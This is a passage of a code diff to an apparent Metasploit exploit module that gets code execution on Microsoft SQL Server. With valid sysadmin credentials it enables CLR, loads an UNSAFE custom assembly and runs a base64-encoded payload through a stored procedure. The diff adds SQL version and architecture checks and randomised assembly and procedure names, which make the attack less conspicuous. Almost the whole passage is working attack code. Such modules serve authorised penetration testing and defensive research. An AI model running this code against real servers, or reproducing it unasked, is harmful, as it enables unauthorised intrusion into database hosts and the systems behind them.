it directly with a base64-encoded payload. - The module requires working credentials in order to connect directly to the - MSSQL Server. + The module requires working credentials in order to connect directly to the + MSSQL Server. - This method requires the user to have sufficient privileges to install a custom - SQL CRL DLL, and invoke the custom stored procedure that comes with it. + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. - This exploit does not leave any binaries on disk. + This exploit does not leave any binaries on disk. + + Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). }, 'Author' => [ @@ -39,10 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => - [ - [ 'Automatic', { } ], - ], + 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999' )) @@ -55,10 +54,17 @@ class MetasploitModule < Msf::Exploit::Remote def check unless mssql_login_datastore - vprint_status("Invalid SQL Server credentials") + vprint_status('Invalid SQL Server credentials') return Exploit::CheckCode::Detected end + version = get_sql_version_string + + unless version =~ /Server 20(05|08|12|14|16)/ + vprint_status('Unsupported version of SQL Server') + return Exploit::CheckCode::Safe + end + if mssql_is_sysadmin vprint_good "User #{datastore['USERNAME']} is a sysadmin" Exploit::CheckCode::Vulnerable @@ -69,8 +75,26 @@ class MetasploitModule < Msf::Exploit::Remote disconnect end + def get_sql_version_string + mssql_query("select @@version", false)[:rows].first[0] + end + + def get_sql_architecture(sql_version_string) + if sql_version_string =~ /(64-bit|x64)/i + ARCH_X64 + else + ARCH_X86 + end + end + def get_exploit_version(sql_version_string) - 'v3.5' + # keeping it simple at this point. + if sql_version_string =~ /Server (2005|2008|2012)/ + 'v3.5' + else + # assume 2014/2016 at this point. + 'v4.0' + end end def set_trustworthy(on) @@ -99,14 +123,27 @@ RECONFIGURE; end def exploit - mssql_login_datastore + unless mssql_login_datastore + fail_with(Failure::BadConfig, 'Unable to login with the given credentials') + end unless mssql_is_sysadmin fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions') end - unless datastore['EXITFUNC'].downcase == 'thread' - fail_with(Failure::BadConfig, 'EXITFUNC must be set to "thread"') + # This module will only support 'thread' for EXITFUNC + # Bad things happen to SQL otherwise! + unless datastore['EXITFUNC'] == 'thread' + print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server") + datastore['EXITFUNC'] = 'thread' + end + + sql_version = get_sql_version_string + vprint_status("Target SQL Version is:\n#{sql_version}") + + sql_arch = get_sql_architecture(sql_version) + unless payload.arch.first == sql_arch + fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}") end trustworthy = is_trustworthy @@ -122,10 +159,8 @@ RECONFIGURE; enable_clr(true) end - sql_version = mssql_query("select @@version", false)[:rows].first[0] - vprint_status("Target SQL Version is:\n#{sql_version}") exploit_version = get_exploit_version(sql_version) - print_status("Using version #{exploit_version} of the Assembly") + print_status("Using version #{exploit_version} of the Payload Assembly") exploit_file_path = ::File.join(Msf::Config.install_root, 'data', 'SqlClrPayload', exploit_version, 'SqlClrPayload.dll') vprint_status("Using #{exploit_file_path}") @@ -135,27 +170,30 @@ RECONFIGURE; # Convert the assembly to the required format for execution of the stored # procedure to create the custom stored proc hex_assembly = "0x#{assembly.unpack('H*')[0]}" - query = "CREATE ASSEMBLY [runstuff] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" + asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" print_status('Adding custom payload assembly ...') mssql_query(query, false) - query = "CREATE PROCEDURE [dbo].[ExecuteB64Payload](@base64EncodedPayload AS NVARCHAR(MAX)) AS EXTERNAL NAME [runstuff].[StoredProcedures].[ExecuteB64Payload]" + proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) + param_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" print_status('Exposing payload execution stored procedure ...') mssql_query(query, false) # Generate the base64 encoded payload b64payload = Rex::Text.encode_base64(payload.encoded) - query = "EXEC [dbo].[ExecuteB64Payload] '#{b64payload}'" + query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'" print_status('Executing the payload ...') mssql_query(query, false) print_status('Removing stored procedure ...') - mssql_query('DROP PROCEDURE [dbo].[ExecuteB64payload]', false) + mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false) print_status('Removing assembly ...') - mssql_query('DROP ASSEMBLY [runstuff]', false) + mssql_query("DROP ASSEMBLY [#{asm_name}]", false) unless clr_enabled print_status('Restoring CLR setting ...')